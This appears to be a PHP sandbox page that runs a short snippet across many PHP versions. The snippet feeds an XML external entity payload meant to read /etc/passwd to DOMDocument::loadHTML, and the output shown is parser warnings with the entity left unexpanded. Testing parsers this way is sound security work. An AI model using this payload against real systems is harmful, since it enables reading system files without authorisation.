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run code in 300+ PHP versions simultaneously
<?php $xml = '<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>'; $doc = new DOMDocument; $doc->loadHTML($xml, LIBXML_NOENT); echo $doc->saveXML();
Output for git.master, git.master_jit, rfc.property-hooks
Warning: DOMDocument::loadHTML(): DOCTYPE improperly terminated in Entity, line: 2 in /in/KrPlu on line 9 Warning: DOMDocument::loadHTML(): htmlParseStartTag: invalid element name in Entity, line: 3 in /in/KrPlu on line 9 Warning: DOMDocument::loadHTML(): htmlParseStartTag: invalid element name in Entity, line: 4 in /in/KrPlu on line 9 Warning: DOMDocument::loadHTML(): Tag foo invalid in Entity, line: 4 in /in/KrPlu on line 9 <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo> <?xml version="1.0" encoding="ISO-8859-1"??> <html><body><p>]&gt;<foo>&amp;xxe;</foo></p></body></html>

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